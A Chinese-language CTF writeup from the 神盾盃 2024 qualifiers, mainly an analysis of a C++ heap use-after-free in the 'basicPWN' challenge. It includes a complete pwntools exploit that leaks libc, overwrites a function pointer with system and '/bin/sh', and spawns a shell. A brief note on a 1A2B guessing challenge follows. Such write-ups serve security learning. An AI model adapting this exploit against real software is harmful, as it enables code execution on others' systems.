---
# System prepended metadata

title: 神盾杯 2024 初賽 Writeup

---

神盾盃 2024 初賽 Writeup
===
這次跟 Starburst Kiwawa 打，初賽第一 owob
![image](https://hackmd.io/_uploads/Bk6H6WuAA.png)

basicPWN
---
### analysis
保護全開
![螢幕擷取畫面 (290)](https://hackmd.io/_uploads/H17cObOAC.png)
![螢幕擷取畫面 (291)](https://hackmd.io/_uploads/ryqbYWu0R.png)

#### Create Order
用 new 要了一塊 0x10 的 memory，用來放 info 和 message，而 info 是個 function pointer
之後把 pointer 放到一個 vector 中
![image](https://hackmd.io/_uploads/SJE8tWOAA.png)

#### Check Order
會拿出儲存的 info function pointer 直接呼叫
![image](https://hackmd.io/_uploads/HkYVc-_AR.png)

#### Remove Order
先 free message 再 delete header
不會清空 vector 裡的資料
![image](https://hackmd.io/_uploads/H16sq-d0R.png)

### exploit
~~uaf 老梗，只不過是用 C++ 出的~~
先要一塊 unsorted bin 大小的 chunk，刪掉再要回來就有 libc 了
接著想辦法把有 function pointer 的 chunk 撈出來，把上面 info 蓋成 system，或走 double free
比較簡單的做法是這樣
```
add(0x10, b'a') #0
add(0x68, b'a') #1
delete(0)
delete(1)
add(0x10, b'a') #2
```
對 #2 寫入就會改掉 #0 的 header
```python=
from pwn import *

def add(size, content):
    p.recvuntil(b'option : ')
    p.sendline(b'1')
    p.recvuntil(b'How much quantity do you want this time ? ')
    p.sendline(str(size))
    p.recvuntil(b'Things to note : ')
    p.send(content)
def show(id):
    p.recvuntil(b'option : ')
    p.sendline(b'2')
    p.recvuntil(b'Please provide the order ID. ')
    p.sendline(str(id))

def delete(id):
    p.recvuntil(b'option : ')
    p.sendline(b'3')
    p.recvuntil(b'Please provide the order ID.\n')
    p.sendline(str(id))

context.arch = 'amd64'
context.log_level = 'debug'

p = process('./basicPWN')
elf = ELF('./basicPWN')
libc = ELF('./libc.so.6')

add(0x500, b'a') #0
delete(0)
add(0x500, b'a') #1
show(0)
p.recvuntil(b'Content : ')
libc.base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x21ac61
print('libc:', hex(libc.base))

system = libc.base + libc.symbols['system']
bin_sh = libc.base + next(libc.search(b'/bin/sh\x00'))

add(0x10, b'a') #2
add(0x68, b'a') #3
delete(2)
delete(3)

# tcache[0]: #3header -> #2header -> #2msg

add(0x10, p64(system) + p64(bin_sh)) #4
show(2)

p.interactive()
```

Just paly a game
---
只有 remote，沒給檔案，忘記截圖了
就 1A2B 猜數字，但範圍是 a~z、字串長度是 8
範圍太大正，正常篩的話會太久
所以先丟 abcdefgh 上去，戳到 0A0B 再開始篩縮小範圍